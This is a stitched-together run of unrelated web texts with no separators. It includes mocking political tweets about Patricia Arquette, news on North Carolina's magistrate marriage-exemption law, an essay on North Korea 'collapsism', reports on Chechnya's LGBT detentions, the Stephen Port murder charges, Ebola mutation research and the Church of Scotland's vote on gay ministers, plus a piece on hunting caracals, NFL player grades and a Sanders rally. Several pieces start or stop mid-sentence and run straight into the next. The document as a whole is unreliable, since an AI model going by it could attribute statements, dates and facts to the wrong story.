You know what's worse? America losing it's sovereignty to Russia. Hell No! Girl. Patriots do not sell out America to Putin. — Patricia Arquette (@PattyArquette) November 1, 2017
But Democrats do. — Can't remember (@JustaGuy1225) November 2, 2017
Maybe Democrats have a different definition of patriotism than the rest of us? Could be another one of those, ‘What the meaning of is IS,’ things.
Wow, you are one dumb woman! Doubt you were this “patriotic “ till DT took office! — Contrarian (@contrarian11) November 2, 2017
Seems no one in Hollywood was paying attention to what was going on in this country until Trump was elected.
Oops.
Patriots won't, that's why they voted for TRUMP. — Reverend B. Wayne (@rev_b_wayne) November 1, 2017
She had to KNOW this wouldn’t end well for her. Whatever happened to that old adage, think before you tweet?
Wait, she’s a progressive, never mind.
Well then, you might want to ask your beloved Queen, Hillary, cause she sold 20% of US uranium, just sayin’! — Deplorable Mark (@markhplant) November 1, 2017
Hillary really is the gift that keeps on giving.
Heh.
So you are in full affect against the Obama administration that would out uranium production to Russia? You know that’s used to make nukes? — Carl (@CarlHamiltonId) November 2, 2017
Umm … blame Russia? No? We got nothin’.
Hillary already did that sweetheart — Carolyn Provost (@Harley1424) November 2, 2017
Fín.
Related:
WHOA: Donna Brazile goes OFF the rails, makes HUGE accusations against DNC, Clinton campaign
WOW: Why is The Justice Dept. blocking Sharyl Attkisson from getting THESE Obama factsA measure allowing some court officials to refuse to perform gay marriage responsibilities because of their religious beliefs became law in North Carolina on Thursday, with the state House voting to override the governor's veto of the bill.The Senate had voted to do the same with Republican Gov. Pat McCrory's veto a week ago. Thursday's House vote of 69-41 was just over the three-fifths majority needed. Ten House members were absent and didn't vote."We owe more to the citizens of North Carolina and the value of an oath," said Representative Larry Hall, a Democrat from Durham, in response to the vote.The law, taking effect immediately, means some register of deeds workers who assemble licenses and magistrates to solemnize civil marriages can decide to stop performing all marriages if they hold a "sincerely held religious objection."The law "protects sincerely held religious beliefs while also ensuring that magistrates are available in all jurisdictions to perform lawful marriages," House Speaker Tim Moore, R-Cleveland, said in a statement.Gay rights groups and Democrats who opposed the bill said after the vote that litigation challenging the law was likely to come soon. Republicans supporting the measure said federal laws provided religious accommodations to government officials, in keeping with the U.S. and state constitutions.Before North Carolina, only Utah had passed such a similar exemption for court officials, earlier this year.McCrory had said no one who takes a government oath should be able to avoid performing the duties that it requires."It's a disappointing day for the rule of law and the process of passing legislation in North Carolina," McCrory said in a statement. McCrory was unhappy with nearly two weeks of delay on the House override vote, while Democrats complained the GOP used a parliamentary maneuver Thursday to abridge debate.The law says court officials who disclose a "sincerely held religious objection" must stop performing marriage duties for both gay and heterosexual couples for at least six months. The chief District Court judge or the county register of deeds - both elected officials - would fill in on marriages if needed.Senate leader Phil Berger, R-Rockingham, introduced the bill shortly after federal rulings last October overturned North Carolina's voter-approved constitutional ban on gay marriage. Berger responded to several magistrates who resigned when the state's top court administrator wrote in a memo that those who declined to officiate for same-sex couples could be punished, terminated or face charges."It's the way employment law has worked for more than 50 years and it was only in this misguided memo... that even started this issue," said Rep. Paul Stam, R-Wake, a key supporter of the law.In his May 28 veto message, McCrory said many North Carolina residents, including him, believe marriage is between a man and a woman. But "no public official who voluntarily swears to support and defend the Constitution and to discharge all duties of their office should be exempt from upholding that oath," McCrory wrote.While the Senate overturned McCrory's veto quickly, House Republicans put off a vote for several days because some supporters of the original bill were absent. Others were on the fence, according to lawmakers.Opponents said the bill created a new form of discrimination similar to biases of a generation ago against multiracial marriages. They also said the bill didn't prevent delays for gay couples getting married if a court official suddenly disclosed a religious objection when a couple approached the office counter of the magistrate or a register, particularly in smaller counties with smaller staffs.The state ACLU urged people who encountered "new hurdles" getting married to contact its office. "This shameful backlash against equality will make it harder for all couples in our state to marry," state Executive Director Sarah Preston said.Rep. Cecil Brockman, D-Guilford, apologized to all lesbian and gay couples in North Carolina for the House's action. "Your love is not different than anybody else's love in this state," he said at a news conference.McCrory's decision put him at odds with social conservatives aligned with Republicans. Concerned Women for America accused McCrory of betraying state residents and forcing court officials to violate their consciences."It's hard to believe that any governor - much less a conservative one - would veto a bill protecting the religious freedoms of his constituents," North Carolina Values Coalition Executive Director Tami Fitzgerald said.Three Democrats joined all but three Republicans present in voting for the override.So now we know. The truth is out, from the horse’s mouth. On North Korea and its future, the President of the United States has revealed himself as a card-carrying collapsist. Retro rules.[1]
Ever wondered what lies behind President Barack Obama’s puzzling reluctance to seem to want to do much of anything—be it wield a stick or wave a carrot—about North Korea for the past six years? (That is, till the Sony Pictures hacking spurred him into action and yet more sanctions, even though some experts remain skeptical as to Pyongyang’s culpability on that front.)
Well, the President has finally explained his thinking. If like me you find “Strategic Patience” hard to distinguish from NADA (Not Actually Doing Anything), all is now clear. Like a long line of wishful thinkers before him, he is biding his time for the DPRK’s inevitable collapse.
That revelation came not in his State of the Union address, where Korea went unmentioned, but in an interview for YouTube, of all things. The President took questions from three young websters, on anything and everything. North Korea got two minutes—that bit starts at 8:39—and then Hank Green went to pot: moving seamlessly on to discuss marijuana.
But a very revealing two minutes they were. As widely reported, Obama called North Korea:
“…the most isolated, the most sanctioned, the most cut-off nation on earth…The kind of authoritarianism that exists there, you almost can’t duplicate anywhere else. It’s brutal and it’s oppressive and as a consequence, the country can’t really even feed its own people…Over time you will see a regime like this collapse.”
Why so? “The answer is not going to be a military solution.” Thank goodness for that. Rather,
“We will keep on ratcheting the pressure, but part of what’s happening is that…the Internet, over time is going to be penetrating this country…And it is very hard to sustain that kind of brutal authoritarian regime in this modern world. Information ends up seeping in over time and bringing about change, and that’s something that we are constantly looking for ways to accelerate.”
The prediction, and its rationale, couldn’t be clearer. But are they correct? That I beg to doubt. We’ve been here before—and much good it did us in understanding or changing North Korea.
Back to the Future
So let’s turn the clock back. In 1992, the Economist Intelligence Unit (EIU) published a book-length special report on Korea’s future.[2] Its thesis, summed up in a gung-ho title—Korea’s Coming Reunification: Another East Asian Superpower?—anticipated by more than 20 years the optimism now peddled by President Park Geun-hye, in her striking, if counterintuitive, idea that unification will be a “bonanza” (taebak in Korean). Supremely confident in predicting the future, the author summarized his argument as “a kind of syllogism” in five steps (page 3):
… Kim Il Sung (who will turn 80 in 1992) will, sooner or later, die.
“Kimilsungism” as a system will not outlive its founder.
Without Kimilsungism, however, there will no longer be any rationale for the existence of a separate North Korea…given the collapse of communism in the former USSR, plus China’s improving relations with South Korea.
Hence the only feasible political project available to Kim Il Sung’s eventual successors (who will probably be military) will be to negotiate the terms of North Korea’s reintegration with South Korea.
Reunification, as in Germany, will thus, in essence, be by absorption.
Cue hollow laughter. I wrote those words. They got me invited for two days of one-on-one discussions—and even a TV debate on Japan’s NHK—in Cambridge, where a newly “retired” South Korean politician was taking time out after the presidency had eluded him for a third time. But not even Kim Dae-jung could convince me, back then, that the alternative scenario of a gradual evolution and reconciliation, though obviously preferable in theory, was feasible.
Nor was I alone. ‘Collapsism’—a word I think I coined, in 1993[3] or earlier—was all the rage then, understandably. The collapse of the USSR and of communist regimes in Eastern Europe, plus moves toward capitalism by ruling communist parties in China and Vietnam, left the few communist diehards like Cuba and North Korea looking isolated and exposed. The DPRK in particular, rebarbative and unreconstructed, seemed a dinosaur in a mammals’ world. The fate of Germany looked the obvious template for the Kim regime to do the only thing left, namely to leave the stage. Smug Fukuyama-esque triumphalism blended with wishful thinking: How could anywhere as outmoded and horrible as North Korea possibly survive in the new dawn?
In my case, lingering Marxoid tendencies buttressed this view. The DPRK’s contradictions—relentlessly oppressing its own people while also antagonizing the rest of the world on a myriad fronts—had to be digging its own grave; didn’t it? Hence some combination of external pressure and an internal legitimation crisis was bound to put paid to Kimism, sooner or later.
Sooner became later. Kim Il Sung died, North Korea clung on, and I clung to collapsism. Not dogmatically, but as a result of thinking through the logic and assumptions of that position as well as the alternatives. That remains an essential exercise, even though, with hindsight, my a priori reasoning turns out to have been inductively incorrect. For example, in the 1998 book Economic Integration of the Korean Peninsula edited by Marcus Noland, I had a chapter (available online) bearing the unwieldy if not contradictory title: “North Korea: All Roads Lead to Collapse—All the More Reason to Engage Pyongyang.” The rather convoluted argument included a four-point summary of where gradualism, as I thought then, got it wrong:
It is too optimistic regarding the will for change in the North Korean leadership. Even if that were to alter, gradualists exaggerate the capacity of the North Korean system to survive whether or not Pyongyang embarks on any serious process of reform. It fails to address key issues of legitimation and power. It assigns an unwarrantedly passive role to the people of North Korea; assuming (in true Korean style) that whatever the governments cook up between them and decree will automatically come to pass.
Space forbids teasing out where I went wrong on these points in detail. Besides, my views are immaterial. What matters is that influential power holders thought the same and crafted policy accordingly. And remember John Deutch? In 1996, the outgoing head of the CIA confidently told the Senate Intelligence Committee[4] that in North Korea was bound to change in one of three ways, and soon:
“Either it is going to invade the South over one issue or another, or it will break up, or it will collapse internally or implode because of the incredible economic problems that the country faces. Or third, it will over time lead to some peaceful resolution and a reunification with the South.”
And timeframe? Mr. Intelligence was equally cocksure: “… in the next two or three years. It is not something that will go on for decades.”
As the LA Times’ wiser Jim Mann noted at the time, this list “is noteworthy for what it leaves out. Nowhere on it is the possibility that the [four decades-old] status quo…will hold.”
Facing Up to the Facts
Enough of this nonsense. “When the facts change, I change my mind. What do you do, sir?” Sound advice, whether or not Keynes actually said it. I resisted right up until 2009, but finally had to admit the force of Bruce Cumings’ jibe at all of us who thought this way: “When does the statute of limitations run out on being systematically wrong?”[5]
You win, Bruce. This one, anyway. North Korea collapsism has proved a lousy bet for social science and policy making alike, for a quarter century now. Those who still cling to this view would rush to add “—so far.” True, you can never wholly rule out collapse. It remains a possible contingency, for which it is prudent to plan quietly, and making sure to liaise with China. The Park administration’s loud unilateralism meets neither condition, but that’s another story.
Given this long and dubious history, which he may or may not know in any detail, it is truly dismaying to see the President jump so casually onto such a dodgy, discredited bandwagon. Nor does his specific reason convince. There was no Internet when I first became a collapsist, but the impossibility of the DPRK sustaining its information Great Wall against the onslaught of globalised media was always part of the argument. Yet there are few shallower or by now more falsified clichés than the naïve view that the Internet will somehow cause all tyrannies to crumble. Like where and when? Nothing in real life is that simple, or smooth.
It’s high time to acknowledge North Korea’s staying power and plan policy towards it on that basis, rather than wishful thinking. In a few years, the DPRK will surpass the former USSR as the longest-lasting “socialist” state of all time. A regime I thought could not outlive its founder has managed not one but two successions. Those are the facts. How it achieves such staying power would take another article, but I find Heonik Kwon’s “theatre state” concept cogent.
North Korea endures. And it has nukes: a huge failure of international policy, buttressing the survival of this malign regime ad infinitum. It also has protectors in China and Russia, who—again, despite much Western wishful thinking—are not about to abandon it. US policy needs to start from the facts. Hardly less depressing than the DPRK’s unchanging defiance is the no less unreconstructed persistence of a failed policy playbook, despite ample evidence for many years that it doesn’t work. Yet well into the 21st century, not only is the President a collapsist but a usually sane and sensible head of the Council on Foreign Relations has come out as that even older-fashioned and more dangerous harrumphing beast: a regime-changer. Fresh from their triumphs in Iraq, Libya and Syria…We all get fed up with North Korea, but really.
A few final remarks. Obama’s blunt admission gives the lie to past insistence that strategic patience is not based on hostility. (Did he consult his staff, or was all this off the cuff?) The “C-word” has caused a frisson in Seoul, even among conservatives. Park Geun-hye’s Nordpolitik has its own problems, but such directness hardly helps her. Lastly, Obama’s no less frank or even weary admission that “there aren’t that many sanctions left” undercuts the Asherian zeal of the Assistant Secretary for Terrorist Financing (sic; surely against?) in the Department of Treasury. Daniel Glaser told the House Foreign Affairs Committee on January 13, 2015 that the latest North Korea sanctions would have the same “chilling effect” as those against Banco Delta Asia a decade ago. And what a great success that was! State overrode Treasury in hopes of a nuclear deal, and the Kims got their money back—via Russia. Any more bright ideas, gentlemen?
Mr. President, I too was a DPRK collapsist. And look, I have 20-plus years of encrusted egg on my face to prove it. Take it from me: Don’t go there. Think again. Indeed, think outside the box. North Korea will do anything for money. Why not hire a KPA brigade to go kick ISIS ass? A wild idea, sure, but no crazier than some of what’s going around in Washington.
——————————
[1] I am grateful to Robert Carlin, John Delury and Joel Wit for several helpful suggestions.
[2] Korea’s Coming Reunification: Another East Asian Superpower? Special Report M212 (London: Economist Intelligence Unit) 1992.
[3] “The Gradualist Pipe-Dream: Prospects and Pathways for Korean Reunification,” Chapter 12 in Andrew Mack ed., Asian Flashpoint: Security and the Korean Peninsula, (Australia: Allen & Unwin) 1993.
[4] This is curiously missing, unless I am blind, from the Agency’s archive of such speeches and the like for 1996.
[5] For sources and more detailed discussion, see my article “Can North Korea’s second succession succeed?” in the sadly short-lived Korea Review (International Policy Studies Institute, Seoul), special issue on “Post Kim Jong-il North Korea”: Vol. II No. 1, May 2012, pp. 38-62. Available online at http://koreareview.org, though not very straightforwardly. Click on Korea Review2-1 (no 3 of the issues listed), then on Korea Reivew 2-1 PDF.zip (sic). A slow download finally yields the full issue; my article is the third listed: 03_2-1 Can North Korea.pdf.The detention of LGBT people has resumed in the Russian republic of Chechnya, where dozens of gay men were reportedly tortured or killed by authorities earlier this year, according to the activist group Russia LGBT Network.
The independent Russian newspaper Novaya Gazeta first reported that around 100 people had been kidnapped in the crackdown in April, but Russian activists reported that sources in the region said the detentions had stopped following an international outcry. Igor Kochetkov of the Russia LGBT Network, which is working to evacuate people targeted in the purge from the region, now tells BuzzFeed News the organization has gotten around 10 calls reporting new detentions since Ramadan ended on June 24.
The news of further detentions comes just before President Donald Trump is due to meet with Russian President Vladimir Putin on Friday at the G20 Summit in Hamburg, Germany. The US State Department issued a statement condemning the detentions, but Secretary of State Rex Tillerson told a congressional committee last month that he did not raise the matter with Russian Foreign Minister Sergey Lavrov during face-to-face talks.
Putin said he would order a federal investigation of the crackdown after being confronted by German Chancellor Angela Merkel and French President Emmanuel Macron. But the Russia LGBT Network said in a statement issued in June that officials were derailing the investigation.
Chechen leader Ramzan Kadyrov and his government have denied that any crackdown has occurred, arguing that Chechnya had no gay men within its borders to begin with.Many people are aware that cheetahs were used as coursing hounds. One of the last places where coursing cheetahs were used was in British India.
Virtually all hunting cheetahs were captured in the wild as young adults. Cheetahs were fairly easily tamed, and the species does not consider humans to be prey.
Thus, it was actually a good potential domesticate.
Unfortunately, female cheetahs do not ovulate unless their suitors chase them for several miles, and male cheetahs are rather well-known for their poor sperm counts– the result of an extreme genetic bottleneck at the end of the Pleistocene.
Easy as they were to tame, cheetahs were not easy to breed in captivity. It’s only been in recent decades that zoos and captive breeding facilities have figured out how to produce cheetah cubs on a regular basis. Before that, it was just assumed that if hunter needed another coursing cheetah, he would have to capture it.
But Indian nobility weren’t just using cheetahs as hunting animals.
They were also using another species of cat, one that actually does breed fairly well in captivity but is not necessarily easily tamed.
The caracal (Caracal caracal) is a tawny cat with a short tail. It has ornate ear tufts, and it about the size of a bobcat. For a long time, it was thought to be a close relative of the cats in the genus Lynx, which includes the three species of cats that are commonly referred to as lynx and the bobcat.
However, genetic research has revealed that caracal’s closest relatives are the African golden cat (Profelis aurata), which looks like a caracal with out the ear tufts and short tail, and the serval (Leptailurus serval), which looks like a bobcat trying to become a cheetah.
Both the serval and the caracal have been bred extensively in captivity, and the two species have been hybridized. Because of these hybrids, some authorities have classified servals in the caracal genus, calling them Caracal serval. However, if we are to follow the rules of cladistic classification, we cannot put the caracal and serval into the same genus without also including the African golden cat, which is actually the caracal’s closest relative. Leaving it out of the genus would make the genus Caracal parphyletic, and it would not be a clade.
The caracal is found over a broad swathe of Africa and the Middle East. It is also found in much of Pakistan and northwestern India.
In the nineteenth and twentieth centuries Pakistan and India were in the same political entity, usually referred to as British India.
It was during this time that British missionaries, businessmen, and colonial officials noticed that certain nobles were keeping caracals as hunting animals.
The author Divyabhanusinh writes in The End of the Trail: The Cheetah in India (2006) that “the caracal was commonly used in India for sport. The Gaekwad of Baroda maintained a pack of them to hunt peafowl, hare, etc. in the 1860s and the Bheels around Mhow occasionally trained them for hunting'” (pg. 228).
The hunting caracals were always said to be kept in a pack. The nineteenth century British zoologist Thomas Caverhill Jerdon described these packs of hunting caracals in his Mammals of India (1874), which was published two years after his death |
Conservatives for almost four years, with the two parties' leaderships becoming more openly critical of each other in recent months.
In his interview, Mr Clegg said: "I think the Conservative Party has changed quite dramatically since we entered into coalition with them.
"They've become much more ideological. They've returned much more to a lot of their familiar theme tunes...
"I think it would be best for everybody if the Conservative Party were to rediscover a talent for actually talking to mainstream voters about mainstream concerns."
It is not the first time Mr Clegg had talked about a possible deal with Labour but his comments could cause tension in the current coalition.
Image copyright PA Image caption Baroness Williams said Nick Clegg had failed to consult experienced Lib Dems
Baroness Williams said Nick Clegg had failed to consult experienced Lib Dems
Speaking on ITV's Daybreak, Mr Miliband would not be drawn on the subject of a possible coalition after the next general election, set for 2015.
He said: "I'm interested in how do we work for for a majority Labour government? How do we change this country? And that's where absolute 100% of my focus and the focus of my party is."
Pushed further about a possible coalition, he said: "What I say is, let's not get into that. Let's get into the people, looking at the options. I want a majority Labour government. That's what I'm going to work for.
"And I don't think the parties, in advance of elections, should be engaging in this. I think what they should be engaging in is how are we going to change the country? What are we offering the country? And that's what I'm interested in."
Senior Lib Dem figures Jeremy Browne and Baroness Williams expressed criticism of Mr Clegg's leadership.
Mr Browne, a former minister in the Home Office and Foreign Office, said he was uneasy about pitching the Lib Dems as a party that split the difference between Labour and the Conservatives.
Baroness Williams, the party's former leader in the Lords, said Mr Clegg had not made sufficient use of more experienced colleagues, and she criticised the quality of some of those around him.
Nick Clegg: The Liberal Who Came To Power will be broadcast on BBC Radio 4 at 20:00 GMT on Monday 17 FebruarySEA-NE grades: Seahawks S Kam Chancellor stars in return to action
By Jon Abbott • Nov 14, 2016
Seattle Seahawks 31, New England Patriots 24
Here are the highest-graded players and top takeaways from the Seahawks’ Week 10 victory over the New England Patriots in Foxborough.
Quarterback grade: Tom Brady, 78.1
Few key mistakes lead Brady to lowest grade of season
Tom Brady, for the most part, was very sharp on the night, finding the open receiver and hitting him in stride to make good gains. He also added in some huge throws down the sidelines in key spots. He hit two third-and-long plays to Julian Edelman to keep drives alive, and one to Rob Gronkowski at the end of the game to bring the Patriots to the goal line. But his badly underthrown ball on a risky deep pass to Malcolm Mitchell was intercepted, and he could have easily lost the game by fumbling the football on a quarterback sneak with less than a minute to go on the goal line. Those mistakes brought his grade down from his high marks in past weeks.
Top offensive grades:
FB James Develin, 90.5
TE Martellus Bennett, 86.6
C David Andrews, 82.1
OT Marcus Cannon, 81.2
OT Nate Solder, 78.9
Power running game key compliment to Patriots’ offense
In addition to Brady’s performance, the Patriots were able to run the football pretty effectively along the edges of the Seahawks’ defense. LeGarrette Blount only ran for 69 yards, but showed good power after contact and was able to score three times. Both offensive tackles Nate Solder and Marcus Cannon held up well in the run game, and James Devlin proved to be an effective weapon as a FB in limited snaps, helping pave the way for Blount. The running game was important in keeping the many Seattle pass-rushers honest, and was a solid compliment to the Patriots’ dangerous offense that was absent of a run game the last time these two teams met.
Top defensive grades:
DI Malcolm Brown, 79.5
DI Alan Branch, 79.3
ED Trey Flowers, 77.4
ED Rob Ninkovich, 76.3
S Devin McCourty, 74.8
Logan Ryan and Elandon Roberts highlight defensive issues
The Patriots showed that they were willing to play a bend-but-don’t-break style, and make the Seattle offense work for every first down gained, but Logan Ryan and Elandon Roberts were key detriments to this plan. Logan Ryan was responsible for six receptions for 101 yards, and for what proved to be the game-winning touchdown. Ryan finished with a 28.8 overall grade, the worst mark in the game. Elandon Roberts was not much better in his first game replacing Jamie Collins as a full-time player. He was often reached at the second level by an offensive line that has struggled badly all year run blocking. He was also beaten on a 38-yard pass down the sideline to HB CJ Prosise to put the Seahawks at the Patriots’ 2-yard line. Roberts, who had flashed in run defense in previous weeks, earned just a 36.5 run-defense grade.
Quarterback grade: Russell Wilson, 76.6
Patient Wilson solid in Seahawks victory
It’s evident that Russell Wilson’s mobility is not all the way back from where it once was, but he is looking more comfortable every week. The Patriots’ defensive game-plan was to keep Wilson in front of them, make him sit back and diagnose the defense, and deliver passes on time to his receivers. Wilson did a good job by staying patient when the Patriots rushed three or less, moving around and making plays down the field. Wilson also continued his recent downfield accuracy, going four-for-seven for 137 yards on passes traveling 20+ yards in the air.
Top offensive grades:
HB C.J. Prosise, 80.0
WR Doug Baldwin, 79.9
FB Will Tukuafu, 79.3
QB Russell Wilson, 76.6
WR Tyler Lockett, 74.1
C.J. Prosise establishes himself amongst crowded backfield
The Seahawks have struggled for much of the year finding their running game on offense, but C.J. Prosise may be the spark the team needs going forward. He was decisive running the ball and forced five missed tackles on the night. He also was a huge asset in the passing game, as well, against the Patriots’ linebackers. Prosise caught all seven of his targets for 87 yards. Two plays in the passing game stood out when he shook Shea McClellan early in the game on a key third down, and when he outran Elandon Roberts down the sideline for a 38-yard gain.
Top defensive grades:
S Kam Chancellor, 89.1
ED Frank Clark, 82.0
CB Richard Sherman, 80.6
LB Bobby Wagner, 77.6
ED Damontre Moore, 76.2
Chancellor stars in his return to action
After sitting out several weeks with a groin injury, Kam Chancellor made his return just in time for when his team needed him the most. Chancellor was key in coverage against the Patriots’ two TEs all night. When in coverage against Gronkowski and Bennett, Chancellor allowed three catches on five targets for 27 yards and had a pass defense. Frank Clark led the effort up front for the Seahawks with a sack and three separate pressures, earning a 76.0 pass-rush grade.
PFF Game-Ball Winner: Kam Chancellor, S, Seahawks
PFF’s player grading process includes multiple reviews, which may change the grade initially published in order to increase its accuracy. Learn more about how we grade and access grades for every player through each week of the NFL season by subscribing to Player Grades.Media playback is unsupported on your device Media caption Stephen Port, 40, is alleged to have met the victims online, as Ben Geoghegan reports
A man has appeared in court charged with poisoning and murdering four young men.
Stephen Port, 40, is accused of killing the men, who he allegedly contacted via dating websites, between June 2014 and September this year.
Prosecutors told Barkingside magistrates he gave the men large amounts of the drug GHB.
Mr Port, of Cooke Street, Barking, east London, was remanded in custody to appear at the Old Bailey on Wednesday.
Image copyright Ross Parry Image caption Anthony Walgate was found by police last June in Barking
The charges relate to the deaths of:
Anthony Patrick Walgate, 23, from Barnet, who was pronounced dead on Cooke Street on 19 June 2014
Gabriel Kovari, 22, from Lewisham, whose body was found near the churchyard of St Margaret's Church, North Street, Barking, on 28 August 2014
Jack Taylor, 25, from Dagenham, whose body was found near the Abbey Ruins close to North Street on 14 September this year
Daniel Whitworth, 21, from Gravesend, Kent, whose body was also found near the same churchyard on 20 September 2014.
Image copyright Facebook Image caption Jack Taylor was a fork-lift truck operator
The deaths of the four men were not initially linked, but after further investigation they were referred to the Metropolitan Police homicide and major crime command.
The Metropolitan Police said it has referred itself to the Independent Police Complaints Commission (IPCC) concerning the deaths.
In a statement the force said: "The referral informs the IPCC of potential vulnerabilities in the response by the MPS to the four deaths.
"We await a mode of investigation from the IPCC."
Image caption The men died between June 2014 and last month, police said
Jack Taylor was a night-duty fork-lift truck driver at a warehouse and was last seen by friends on a night out in Barking on 13 September.
Anthony Walgate was studying fashion design at the University of Middlesex.
Image caption Mr Port was remanded in custody to appear at the Old Bailey on Wednesday
Daniel Whitworth was an aspiring chef who worked in London Docklands.Image caption Hundreds of blood samples are being analysed to keep track of the virus
Scientists tracking the Ebola outbreak in Guinea say the virus has mutated.
Researchers at the Institut Pasteur in France, which first identified the outbreak last March, are investigating whether it could have become more contagious.
More than 22,000 people have been infected with Ebola and 8,795 have died in Guinea, Sierra Leone and Liberia.
Scientists are starting to analyse hundreds of blood samples from Ebola patients in Guinea.
They are tracking how the virus is changing and trying to establish whether it's able to jump more easily from person to person
"We know the virus is changing quite a lot," said human geneticist Dr Anavaj Sakuntabhai.
A virus can change itself to less deadly, but more contagious and that's something we are afraid of Dr Anavaj Sakuntabhai, Geneticist
"That's important for diagnosing (new cases) and for treatment. We need to know how the virus (is changing) to keep up with our enemy."
It's not unusual for viruses to change over a period time. Ebola is an RNA virus - like HIV and influenza - which have a high rate of mutation. That makes the virus more able to adapt and raises the potential for it to become more contagious.
"We've now seen several cases that don't have any symptoms at all, asymptomatic cases," said Anavaj Sakuntabhai.
"These people may be the people who can spread the virus better, but we still don't know that yet. A virus can change itself to less deadly, but more contagious and that's something we are afraid of."
Latest figures
There were fewer than 100 new cases in a week for the first time since June 2014.
In the week to 25 January there were 30 cases in Guinea, four in Liberia and 65 in Sierra Leone.
The World Health Organization says the epidemic has entered a "second phase" with the focus shifting to ending the epidemic.
But Prof Jonathan Ball, a virologist at the University of Nottingham, says it's still unclear whether more people are actually not showing symptoms in this outbreak compared with previous ones.
"We know asymptomatic infections occur… but whether we are seeing more of it in the current outbreak is difficult to ascertain," he said.
"It could simply be a numbers game, that the more infection there is out in the wider population, then obviously the more asymptomatic infections we are going to see."
Image copyright AFP Image caption The current outbreak began in south-eastern Guinea and spread to Liberia and Sierra Leone
Another common concern is that while the virus has more time and more "hosts" to develop in, Ebola could mutate and eventually become airborne.
There is no evidence to suggest that is happening. The virus is still only passed through direct contact with infected people's body fluids.
"No blood borne virus, for example HIV or Hepatitis B, has ever shown any indication of becoming airborne. The mutation would need to be major," said infectious disease expert Professor David Heyman.
Virologist Noel Tordo from the Institut Pasteur is in the Guinea capital Conakry. He said:
"At the moment, not enough has been done in terms of the evolution of the virus both geographically and in the human body, so we have to learn more. But something has shown that there are mutations.
"For the moment the way of transmission is still the same. You just have to avoid contact (with a sick person).
"But as a scientist you can't predict it won't change. Maybe it will."
Researchers are using a method called genetic sequencing to track changes in the genetic make-up of the virus. So far they have analysed around 20 blood samples from Guinea. Another 600 samples are being sent to the labs in the coming months.
A previous similar study in Sierra Leone showed the Ebola virus mutated considerably in the first 24 days of the outbreak, according to the World Health Organization.
It said: "This certainly does raise a lot of scientific questions about transmissibility, response to vaccines and drugs, use of convalescent plasma.
"However, many gene mutations may not have any impact on how the virus responds to drugs or behaves in human populations."
'Global problem'
The research in Paris will also help give scientists a clearer insight into why some people survive Ebola, and others don't. The survival rate of the current outbreak is around 40%.
Media playback is unsupported on your device Media caption Prof James Di Santo explains the work being carried out to try to find an Ebola vaccine
It's hoped this will help scientists developing vaccines to protect people against the virus.
Researchers at the Institut Pasteur are currently developing two vaccines which they hope will be in human trials by the end of the year.
One is a modification of the widely used measles vaccine, where people are given a weakened and harmless form of the virus which in turn triggers an immune response. That response fights and defeats the disease if someone comes into contact with it.
Image caption The research may explain why some people survive Ebola and others do not
The idea, if it proves successful, would be that the vaccine would protect against both measles and Ebola.
"We've seen now this is a threat that can be quite large and can extend on a global scale," said Professor James Di Santo, and immunologist at the Institut.
"We've learned this virus is not a problem of Africa, it's a problem for everyone."
He added: "This particular outbreak may wane and go away, but we're going to have another infectious outbreak at some point, because the places where the virus hides in nature, for example in small animals, is still a threat for humans in the future.
"The best type of response we can think of… is to have vaccination of global populations."Scotland's largest protestant church has swept away centuries of tradition and voted to allow gay men and lesbians to become ministers, opening up the prospect of the church allowing civil partnerships for same-sex couples.
The Church of Scotland imposed a temporary moratorium in 2009 on admitting gay and lesbian ministers after Scott Rennie became the first openly gay clergyman in a homosexual partnership to be officially appointed as a minister in the church.
The church's general assembly, its law-making body, voted on Monday to lift that moratorium, officially officially allowing gay ministers to take on parishes for the first time since its formation 450 years ago.
The general assembly also allowed serving gay and lesbian ministers who have kept their sexuality private to openly declare their sexuality – a proposal bitterly resisted by evangelical and conservative ministers.
In one of the final votes, the general assembly chose by a small majority to lift a parallel ban on ordaining and training people who are in same-sex relationships, and gay and lesbians in civil partnerships. It called for a new report by 2013 on both proposals and on allowing ministers to bless gay and lesbian relationships.
The vote followed official warnings that allowing gay clergy could split the church, forcing traditionalists to resign and join more conservative churches formed after the last great schism, when 474 ministers resigned in 1843.
A commission set up in 2009 to investigate the implications of the Rennie affair predicted that up to a fifth of the church's ministers, deacons and elders and 100,000 worshippers could leave in protest.
It said that the issue was so divisive that another 1,800 church leaders and 40,000 parishioners had warned they would leave if gay ministers were not admitted. The church has 445,000 communicants, or active members, and around 50,000 less-active parishioners.
A leading critic of the proposal, the Rev Andrew Coghill, a conservative minister on the Isle of Lewis, warned the general assembly that allowing homosexual clergy would be devastating to the church. To applause from his supporters, Coghill said the proposal to allow gay ministers was "the hand grenade [and] we're being asked to pull the pin out, and it will blow the church apart."
However, the Rev Willem Bezuidenhout, a South African-born minister, urged the assembly to support the proposal. He likened opposition to homosexual ministers to South African pastors using the bible to justify apartheid.
"Some of the gay Christians I know will be much better Christians than I will ever be," he said.
Coghill was supported by a series of traditionalists, some of whom called for a final decision to be delayed. Ministers in Aberdeen said Rennie's ordination was so divisive it had "broken" the city's presbytery, its ruling body, leading to threats of violence against some members.
But in a clear indication of the general assembly's mood, the decision to allow gay ministers on principle went through unopposed, leading to the vote late on Monday to allow gay and lesbian ministers to be ordained and recruited.
In addition, the church has set up a commission to investigate the theological issues raised by the acceptance of gay clergy.
Delegates to the assembly, known as commissioners, narrowly voted down a proposal to delay final decisions until 2013 on whether gay and lesbian ministers had to be celibate, or whether they were allowed to be sexually-active and in long-term relationships.
They also rejected a proposal to prevent a minister who had not "come out" to their parishioners or presbytery before 31 May 2009, a cut-off date based on the general assembly's last debate on the Rennie affair, from declaring his or sexuality. That suggests gay and lesbian ministers who have kept their sexuality private could now openly declare it.Democratic presidential candidate Bernie Sanders, left, shakes hands with supporters following a rally in Albuquerque, N.M., on Friday, May 20, 2016. (Photo: Susan Montoya Bryan/The Associated Press)
SANTA FE — Sen. Bernie Sanders made a fiery appeal Friday to Democratic voters in New Mexico to help boost his campaign's momentum going into the final round of state primaries, acknowledging he will need to win "almost all" of the remaining contests to get the nomination.
Sanders kicked off a two-day campaign swing through heavily Hispanic New Mexico with a trio of public rallies that started Friday ahead of the state's vote in the final round of primary elections.
He vowed to take his fight for the nomination to the Democrats' national convention this summer, and railed against superdelegates that backed Clinton before primary votes were cast.
"We need to go into the Democratic convention in late July with great momentum," he told a cheering crowd of 2,500 people in a packed community college gymnasium in Santa Fe. "We need to win all or almost all of the states that are up on June 7."
Sanders took the stage to chants in Spanish of, "Yes, you can." Native American singers warmed up the crowd and supporters waved pro-Sanders signs overhead with the words, "A future to believe." Doors were closed with 600 people still in line outside.
